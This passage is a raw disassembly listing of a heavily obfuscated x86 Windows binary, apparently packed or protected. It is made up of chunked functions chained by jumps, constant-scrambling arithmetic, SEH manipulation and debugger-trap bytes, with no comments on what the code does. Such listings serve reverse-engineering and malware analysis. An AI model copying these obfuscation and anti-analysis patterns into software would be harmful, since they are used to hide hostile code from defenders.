--------------------------------------------------------------------------- loc_42EF9D: ; CODE XREF: wto1jq8f:loc_42DBF3j ; DATA XREF: sub_42BE69:loc_42DBE9o call sub_424585 mov edx, 7DA6ACC0h call sub_429165 push eax rol eax, 16h jmp loc_4296A4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EFB5 proc near ; CODE XREF: sub_4281DDj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00425D85 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004265A9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426E5D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00427DF3 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00428A4E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004297A3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042B1AA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B83B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BD22 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C387 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042D692 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D93C SIZE 0000000D BYTES push ebp mov ebp, esp push ecx jmp loc_42B1AA sub_42EFB5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_42EFBE: ; CODE XREF: sub_42A197:loc_4288CDj ; sub_4266B1:loc_428F32j ... push 0 call sub_42658A loc_42EFC5: ; CODE XREF: sub_42D368+9j jmp loc_42C7A4 ; END OF FUNCTION CHUNK FOR sub_4266B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C1EE loc_42EFCA: ; CODE XREF: sub_42C1EE+18j jmp loc_42785E ; END OF FUNCTION CHUNK FOR sub_42C1EE ; --------------------------------------------------------------------------- or eax, esi jmp sub_4282EB ; --------------------------------------------------------------------------- loc_42EFD6: ; DATA XREF: sub_42BF49+6o popf xchg esi, [esp] jmp loc_42AD12 ; --------------------------------------------------------------------------- loc_42EFDF: ; CODE XREF: wto1jq8f:004284DCj and ecx, esi cmp esi, ebp jmp loc_4288AD ; --------------------------------------------------------------------------- loc_42EFE8: ; DATA XREF: sub_425EA8:loc_4296F6o rol eax, 18h jmp loc_4247B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FB2F loc_42EFF0: ; CODE XREF: sub_42FB2Fj call sub_42BB12 ; END OF FUNCTION CHUNK FOR sub_42FB2F ; START OF FUNCTION CHUNK FOR sub_42D434 loc_42EFF5: ; CODE XREF: sub_42D434:loc_42724Cj pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42D434 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AE5E loc_42EFF7: ; CODE XREF: sub_42AE5E+Ej jmp loc_42D2DD ; END OF FUNCTION CHUNK FOR sub_42AE5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A19 loc_42EFFC: ; CODE XREF: sub_428A19-4469j jmp loc_42A0BD ; END OF FUNCTION CHUNK FOR sub_428A19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428BA9 loc_42F001: ; CODE XREF: sub_42D434-6DB4j ; sub_428BA9+Aj mov eax, [ebp-4] mov al, [eax] mov [ebp-9], al mov al, [ebp-0Ah] jmp loc_42BF2B ; END OF FUNCTION CHUNK FOR sub_428BA9 ; --------------------------------------------------------------------------- loc_42F011: ; DATA XREF: sub_42825A+6o push 10h mov eax, [ebp-8] push eax xchg esi, eax push eax jmp loc_42AC62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB2A loc_42F01F: ; CODE XREF: sub_42BB2A+4j cmp ds:dword_42FB50, 0 jz loc_42B4B4 mov eax, ds:dword_42FB50 mov eax, [eax] mov ds:dword_42FB5C, eax jmp loc_42B4AD ; END OF FUNCTION CHUNK FOR sub_42BB2A ; =============== S U B R O U T I N E ======================================= sub_42F03D proc near ; DATA XREF: sub_42E3B6o push ebp call sub_42CE80 loc_42F043: ; CODE XREF: sub_42506F+72F0j jmp sub_42ACD6 sub_42F03D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F614 loc_42F048: ; CODE XREF: sub_42F614-95B1j jmp loc_42E74F ; END OF FUNCTION CHUNK FOR sub_42F614 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42F04D: ; CODE XREF: sub_426C0C:loc_42FC63j ja locret_42A4B7 jmp loc_42D70C ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42F058: ; CODE XREF: sub_429B76+1Aj pop edi add edi, 4926EE34h xchg edi, [esp+14h+var_14] jmp sub_42AECE ; END OF FUNCTION CHUNK FOR sub_429B76 ; =============== S U B R O U T I N E ======================================= sub_42F067 proc near ; DATA XREF: sub_42CE8E+15o call sub_428C71 pop eax call loc_424DAB sub_42F067 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42F072 proc near ; CODE XREF: sub_426806+869Ep ; sub_42C486+33BEj ; FUNCTION CHUNK AT 004267E1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427986 SIZE 00000003 BYTES xchg eax, [esp+0] pop eax jz loc_4250E0 push ebp jmp loc_4267E1 sub_42F072 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 4AB0h dword_42F084 dd 0 ; sub_42C6F9+7r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC6 loc_42F088: ; CODE XREF: sub_428AC6+353Dj jmp loc_42A2D1 ; END OF FUNCTION CHUNK FOR sub_428AC6 ; --------------------------------------------------------------------------- loc_42F08D: ; CODE XREF: wto1jq8f:0042B3DDj jmp loc_42E273 ; --------------------------------------------------------------------------- dw 3BBDh dword_42F094 dd 0 ; sub_427A8D+825Cr dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42F09C: ; CODE XREF: sub_42D9D9-5912j jmp nullsub_163 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- db 0E4h, 34h, 5Dh dword_42F0A4 dd 0 dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F25F loc_42F0AC: ; CODE XREF: sub_42F25F-4160j jmp loc_428525 ; END OF FUNCTION CHUNK FOR sub_42F25F ; --------------------------------------------------------------------------- db 29h, 2Eh, 60h dword_42F0B4 dd 0 ; wto1jq8f:0042C6EDw ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429A99 loc_42F0B8: ; CODE XREF: sub_429A99+18j jmp nullsub_221 ; END OF FUNCTION CHUNK FOR sub_429A99 ; --------------------------------------------------------------------------- db 34h, 62h, 9Bh dword_42F0C0 dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42F0C4: ; CODE XREF: sub_426C0C:loc_42644Cj jz loc_4265DB jmp loc_42E620 ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- loc_42F0CF: ; DATA XREF: sub_42704E+8E3o mov edx, 1AE260E8h call sub_429165 push eax rol eax, 0Eh mov ds:dword_42ACE4, eax jmp loc_4278F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42F0E8: ; CODE XREF: sub_42C486-1F1j shl edi, 8 loc_42F0EB: ; CODE XREF: sub_42C486:loc_42C285j rol esi, 1Ah add esi, 0CF4EB51h push offset sub_42B8E3 jmp loc_42A638 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283CC loc_42F0FE: ; CODE XREF: sub_4283CC-3C9Ej or esi, 0AA362090h loc_42F104: ; CODE XREF: sub_4283CC:loc_426159j call sub_4245D6 loc_42F109: ; CODE XREF: sub_42C031+AEBj jmp loc_427B16 ; END OF FUNCTION CHUNK FOR sub_4283CC ; --------------------------------------------------------------------------- test eax, eax setnz byte ptr [ebp-1] jmp loc_42C1A1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F119 proc near ; CODE XREF: sub_427F4Ej var_1 = byte ptr -1 ; FUNCTION CHUNK AT 0042886C SIZE 00000012 BYTES push ebp mov ebp, esp push ecx mov [ebp+var_1], 0 mov eax, cs xor al, al jmp loc_42886C sub_42F119 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D2E loc_42F12A: ; CODE XREF: sub_429D2E:loc_429CD2j call sub_42DDE6 loc_42F12F: ; CODE XREF: wto1jq8f:0042EA8Fj and esi, 5A53E1E0h ; END OF FUNCTION CHUNK FOR sub_429D2E ; =============== S U B R O U T I N E ======================================= sub_42F135 proc near ; CODE XREF: sub_425944+841p mov [esp+0], eax pop eax push edx push eax mov eax, [ebp-8] jmp loc_426AC1 sub_42F135 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E64B loc_42F143: ; CODE XREF: sub_42E64B+3j push ecx call sub_426A84 loc_42F149: ; CODE XREF: sub_42FAE4-B13Dj shl edx, 7 loc_42F14C: ; CODE XREF: sub_42FAE4:loc_42E41Fj mov eax, 80000002h xor ebx, ebx push offset loc_429FE5 jmp loc_42B1F0 ; END OF FUNCTION CHUNK FOR sub_42E64B ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42F15D proc near ; CODE XREF: sub_42DCB4:loc_42735Cj retn sub_42F15D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C786 loc_42F15E: ; CODE XREF: sub_42C786+10j jmp loc_427BE7 ; END OF FUNCTION CHUNK FOR sub_42C786 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB12 loc_42F163: ; CODE XREF: sub_42BB12+13j jmp loc_42B4B4 ; END OF FUNCTION CHUNK FOR sub_42BB12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42F168: ; CODE XREF: sub_429B76-3EF7j call sub_42CB36 test al, al jz loc_42F71D loc_42F175: ; CODE XREF: sub_42708B+2210j jmp loc_42670F ; END OF FUNCTION CHUNK FOR sub_429B76 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429165 loc_42F17B: ; CODE XREF: sub_429165+1A29j jmp loc_42DB24 ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- loc_42F180: ; CODE XREF: wto1jq8f:00427442j jmp loc_424B13 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F185 proc near ; CODE XREF: sub_42A6CD+4p ; sub_42B5F6+Ej ... var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00425E8B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428494 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042AF78 SIZE 0000000A BYTES push ebp mov ebp, esp jo sub_42A3EB add esp, 0FFFFFFF4h mov [ebp+var_8], eax jmp loc_425E8B sub_42F185 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F563 loc_42F199: ; CODE XREF: sub_42F563+Dj push 485A1A6Dh pop eax or eax, 0FC1F7110h rol eax, 9 jmp loc_427ED8 ; END OF FUNCTION CHUNK FOR sub_42F563 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424DA0 loc_42F1AD: ; CODE XREF: sub_424DA0:loc_425BFDj push 26E3E7BEh pop eax rol eax, 1Fh add eax, 0EC8E0C20h loc_42F1BC: ; CODE XREF: sub_426535+76ECj xchg eax, [esp-4+arg_0] push eax call sub_42C6B1 jmp loc_42AB46 ; END OF FUNCTION CHUNK FOR sub_424DA0 ; --------------------------------------------------------------------------- dw 4545h dword_42F1CC dd 0 ; sub_42885Cr ... dword_42F1D0 dd 0 dword_42F1D4 dd 0 ; wto1jq8f:004281B8r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D8D loc_42F1D8: ; CODE XREF: sub_427D8D+Aj jmp loc_425B04 ; END OF FUNCTION CHUNK FOR sub_427D8D ; --------------------------------------------------------------------------- db 0DDh, 7Ah, 42h dword_42F1E0 dd 0 ; sub_429B76+1267w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42F1E4: ; CODE XREF: sub_42CB36+260j jmp loc_424D04 ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- db 20h, 9, 7Fh dword_42F1EC dd 0 dword_42F1F0 dd 0 ; wto1jq8f:loc_4294E8r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E961 loc_42F1F4: ; CODE XREF: sub_42E961-7EE2j jmp loc_42C5D4 ; END OF FUNCTION CHUNK FOR sub_42E961 ; --------------------------------------------------------------------------- db 5Ch, 46h, 81h ; --------------------------------------------------------------------------- pop ebp fcom qword ptr [esi-37h] int 3 ; Trap to Debugger and ecx, [ebx+8DD832h] loc_42F207: ; CODE XREF: wto1jq8f:0042BA59j jmp loc_425FBE ; --------------------------------------------------------------------------- loc_42F20C: ; DATA XREF: sub_42A202:loc_42D012o add edx, 4 xor [edx], eax call loc_426F96 loc_42F216: ; CODE XREF: wto1jq8f:0042A66Ej cmp ebp, 8CEE50DEh jmp loc_424400 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A617 loc_42F221: ; CODE XREF: sub_42A617-44FBj ; sub_42FBFD-119Fj call sub_426E98 pop ecx shl eax, 7 mov edx, [ebp+8] mov edx, [edx-8] loc_42F230: ; CODE XREF: wto1jq8f:loc_42B056j or edx, 40h or eax, edx jmp loc_42FE89 ; END OF FUNCTION CHUNK FOR sub_42A617 ; =============== S U B R O U T I N E ======================================= sub_42F23A proc near ; DATA XREF: sub_426E98:loc_42F536o ; FUNCTION CHUNK AT 00424504 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A32C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C3CA SIZE 0000001B BYTES xor [esi], edx cmp edi, 80000001h jbe loc_4248DF jmp loc_424504 sub_42F23A endp ; --------------------------------------------------------------------------- push 0F12220D3h sub ebx, 8DB75DFFh jmp sub_42CE80 ; --------------------------------------------------------------------------- loc_42F25D: ; CODE XREF: wto1jq8f:0042F85Ej sbb edi, eax ; =============== S U B R O U T I N E ======================================= sub_42F25F proc near ; CODE XREF: sub_42E5FA-3271p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042428F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426D99 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042729D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00428525 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00428613 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004290D6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00429929 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042A3B1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042AACF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B0EE SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042B55A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D6C4 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042E691 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E8B4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042F0AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FC74 SIZE 00000011 BYTES mov [esp-4+arg_0], ebx pop ebx add eax, 0B7293063h mov eax, [eax] or eax, eax jmp loc_42B55A sub_42F25F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_42F272: ; CODE XREF: sub_429BD3-47Cj mov edx, [ebp-18h] loc_42F275: ; CODE XREF: sub_424F7A:loc_42E99Dj shr edx, 3 mov ecx, ds:dword_429558 or [ecx+edx], al mov ecx, [ebp-1Ch] call sub_42C486 xor ecx, esi jmp loc_426164 ; END OF FUNCTION CHUNK FOR sub_429BD3 ; --------------------------------------------------------------------------- rol eax, 1Ch jmp loc_4276C0 ; --------------------------------------------------------------------------- loc_42F298: ; CODE XREF: wto1jq8f:0042B20Aj popf pushf jmp loc_42DD9A ; --------------------------------------------------------------------------- loc_42F29F: ; DATA XREF: sub_42E919+Bo mov byte ptr [ebp-802h], 0 mov byte ptr [ebp-801h], 1 lea eax, [ebp-80Ch] call sub_42FD33 ; START OF FUNCTION CHUNK FOR sub_426144 loc_42F2B8: ; CODE XREF: sub_426144+97DBj jmp loc_42C1D6 ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42760F loc_42F2BD: ; CODE XREF: sub_42760F+62FCj jmp loc_42DBD7 ; END OF FUNCTION CHUNK FOR sub_42760F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428501 loc_42F2C2: ; CODE XREF: sub_428501+4A25j jmp sub_42EDB8 ; END OF FUNCTION CHUNK FOR sub_428501 ; =============== S U B R O U T I N E ======================================= sub_42F2C7 proc near ; CODE XREF: sub_42F8E5j ; DATA XREF: sub_42C0F6+37E5o ; FUNCTION CHUNK AT 00425B31 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00425E1B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00425FAE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00426821 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042752D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004278F9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429244 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042AC0A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042B159 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042B696 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042BF18 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CAA2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042CCD9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EBF4 SIZE 00000015 BYTES or [ecx+edx], al mov ecx, [ebp-20h] and ecx, 7 mov al, 1 shl al, cl mov edx, [ebp-20h] jmp loc_42CCD9 sub_42F2C7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42F2DC: ; CODE XREF: wto1jq8f:0042F4B7j push edx call sub_42C93C loc_42F2E2: ; CODE XREF: wto1jq8f:00429DEFj jmp loc_42C05D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42F2E7: ; CODE XREF: sub_429BFF-2FB1j jz loc_42900A push 4 push offset sub_42609A jmp nullsub_169 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42F2F9: ; CODE XREF: sub_426535+20j jz loc_426FFB jmp loc_42ACA7 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42F304 proc near ; CODE XREF: sub_426E98:loc_42E696j retn sub_42F304 endp ; --------------------------------------------------------------------------- loc_42F305: ; CODE XREF: wto1jq8f:0042683Dj push 0C849FD2Dh xchg ebp, edi sbb ebp, edi ; START OF FUNCTION CHUNK FOR sub_42506F loc_42F30E: ; CODE XREF: sub_42506F+4F70j add eax, 95E07738h jmp loc_426870 ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42708B loc_42F319: ; CODE XREF: sub_42708B:loc_42EBA3j test al, al jz locret_424F1D jmp loc_424AC8 ; END OF FUNCTION CHUNK FOR sub_42708B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CA3D loc_42F327: ; CODE XREF: sub_42CA3D+1j mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_42CDC5 ; END OF FUNCTION CHUNK FOR sub_42CA3D ; --------------------------------------------------------------------------- loc_42F332: ; DATA XREF: sub_4266CA+11o mov [ecx+0B8h], eax pop ecx loc_42F339: ; CODE XREF: wto1jq8f:loc_42E185j xor eax, eax retn ; --------------------------------------------------------------------------- loc_42F33C: ; DATA XREF: sub_4266CA+Bo ; wto1jq8f:0042C567o pop large dword ptr fs:0 add esp, 4 jmp loc_427DCA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FFBA loc_42F34B: ; CODE XREF: sub_42FFBA+6j ror eax, 3 push eax call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_42FFBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_42F355: ; CODE XREF: sub_42EDB9:loc_425E50j jmp loc_42FA56 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425EA8 loc_42F35B: ; CODE XREF: sub_425EA8+41B7j jmp loc_4296F6 ; END OF FUNCTION CHUNK FOR sub_425EA8 ; =============== S U B R O U T I N E ======================================= sub_42F360 proc near ; DATA XREF: sub_42C4B3+1o call sub_426A97 sub_42F360 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_429471 loc_42F365: ; CODE XREF: sub_429471+2AD3j jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D2E loc_42F36A: ; CODE XREF: sub_429D2E-3AD7j jmp loc_42F7CD ; END OF FUNCTION CHUNK FOR sub_429D2E ; =============== S U B R O U T I N E ======================================= sub_42F36F proc near ; CODE XREF: sub_42F614-B17Ap mov [esp+0], eax push edi push 4CAC3732h pop edi call sub_42CE8E sub_42F36F endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_426719 loc_42F37E: ; CODE XREF: sub_426719+11j jmp loc_425FA6 ; END OF FUNCTION CHUNK FOR sub_426719 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42F384 proc near ; DATA XREF: sub_429BFF-4BF0o xor edi, 99EFB2D6h xchg edi, [esp+0] mov eax, [ebp-10h] call sub_42E9E8 locret_42F395: ; CODE XREF: sub_42C486:loc_42A638j retn sub_42F384 endp ; --------------------------------------------------------------------------- loc_42F396: ; CODE XREF: wto1jq8f:loc_426432j jnz loc_428F56 jmp loc_428CC6 ; --------------------------------------------------------------------------- loc_42F3A1: ; CODE XREF: wto1jq8f:0042C924j inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 100h jnz loc_42C912 jmp loc_4271E2 ; --------------------------------------------------------------------------- loc_42F3B6: ; CODE XREF: wto1jq8f:004279BEj call sub_4263D7 ; START OF FUNCTION CHUNK FOR sub_42C031 loc_42F3BB: ; CODE XREF: sub_42C031+Dj jmp loc_428DB1 ; END OF FUNCTION CHUNK FOR sub_42C031 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C71 loc_42F3C0: ; CODE XREF: sub_428C71+2A49j jmp loc_42892E ; END OF FUNCTION CHUNK FOR sub_428C71 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42481C loc_42F3C5: ; CODE XREF: sub_42481C+4CC7j jnz loc_42A264 jmp loc_42F628 ; END OF FUNCTION CHUNK FOR sub_42481C ; --------------------------------------------------------------------------- jbe loc_42B600 jmp sub_426461 ; --------------------------------------------------------------------------- loc_42F3DB: ; CODE XREF: wto1jq8f:00427AEBj jnp loc_424B0B loc_42F3E1: ; CODE XREF: wto1jq8f:loc_42AB67j call sub_42F3E7 retn ; =============== S U B R O U T I N E ======================================= sub_42F3E7 proc near ; CODE XREF: wto1jq8f:loc_42A420j ; wto1jq8f:loc_42F3E1p var_4 = dword ptr -4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00429303 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A279 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042B79F SIZE 0000000E BYTES jb loc_42B79F call sub_4272F3 push ecx mov ecx, [esp+4+arg_8] mov dword ptr [ecx], 10001h jmp loc_42A279 sub_42F3E7 endp ; --------------------------------------------------------------------------- loc_42F402: ; CODE XREF: wto1jq8f:loc_42E760j jns loc_42B944 xor ebx, 0AE800C8Bh jmp loc_42B939 ; --------------------------------------------------------------------------- and edx, ebp jmp sub_428DDD ; --------------------------------------------------------------------------- loc_42F41A: ; DATA XREF: sub_42AFCD:loc_42BC81o push 7ECD866h pop eax add eax, 28B95E61h add eax, ebp jmp loc_42660A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- popf xor eax, esi jmp sub_4262CE ; --------------------------------------------------------------------------- mov edx, 0D504D785h push esi push 9B5894EFh pop esi add esi, 64EA658Ah call sub_4248E6 ; START OF FUNCTION CHUNK FOR sub_42ED32 loc_42F44D: ; CODE XREF: wto1jq8f:0042D8E0j ; sub_42ED32:loc_42ED37j jnz loc_4274D8 jmp loc_42D7C9 ; END OF FUNCTION CHUNK FOR sub_42ED32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F6A9 loc_42F458: ; CODE XREF: sub_42F6A9-3016j mov ecx, ds:dword_429558 movzx edx, byte ptr [ecx+edx] and eax, edx jz loc_42BBA1 jmp loc_42E9CF ; END OF FUNCTION CHUNK FOR sub_42F6A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425E35 loc_42F46F: ; CODE XREF: sub_425E35+64Bj mov ecx, [ebx+ecx+78h] loc_42F473: ; CODE XREF: sub_429D2E+618Cj or ecx, ecx jz loc_42F9B4 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_42F9B4 call sub_42B5E4 jmp loc_428244 ; END OF FUNCTION CHUNK FOR sub_425E35 ; --------------------------------------------------------------------------- adc esi, 0BB5C7895h jmp sub_4272B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42F49C: ; CODE XREF: sub_426535:loc_42FD52j adc esi, eax ja sub_42F81B jmp loc_42C16D ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42F4AA: ; CODE XREF: wto1jq8f:0042862Bj jmp loc_425AE6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42F4B0: ; CODE XREF: wto1jq8f:00428479j call sub_427F4E test al, al jz loc_42F2DC jmp loc_42488E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9B0 loc_42F4C2: ; CODE XREF: sub_42D9B0-7C97j cmp dword ptr [eax-0Ch], 4 jnz loc_42F4D5 add dword ptr [ebp-8], 4 jmp loc_427037 ; --------------------------------------------------------------------------- loc_42F4D5: ; CODE XREF: sub_42D9B0+1B16j add dword ptr [ebp-8], 2 jmp loc_429628 ; END OF FUNCTION CHUNK FOR sub_42D9B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D53B loc_42F4DE: ; CODE XREF: sub_4250D4+16j ; sub_42D53B+4j call sub_42CB63 loc_42F4E3: ; CODE XREF: sub_42DBA6-5376j jmp nullsub_173 ; END OF FUNCTION CHUNK FOR sub_42D53B ; --------------------------------------------------------------------------- loc_42F4E8: ; CODE XREF: wto1jq8f:0042C953j jbe loc_4246ED cdq jmp sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42F4F4: ; CODE XREF: sub_426535-1BF7j ; sub_426C0C+8j ... jnb loc_42870B cmp dword ptr [ebp-4], 7 jnz loc_42E294 jmp loc_424CDD ; END OF FUNCTION CHUNK FOR sub_426C0C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_203. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FB2F loc_42F50A: ; CODE XREF: sub_42FB2F+Ej jmp loc_4295F1 ; END OF FUNCTION CHUNK FOR sub_42FB2F ; =============== S U B R O U T I N E ======================================= sub_42F50F proc near ; CODE XREF: sub_427A9E+14p ; wto1jq8f:0042C781j ; FUNCTION CHUNK AT 00424785 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424AEC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004267C4 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042773F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042790C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427989 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00427A3D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042908C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429EEA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042A0FB SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0042A102 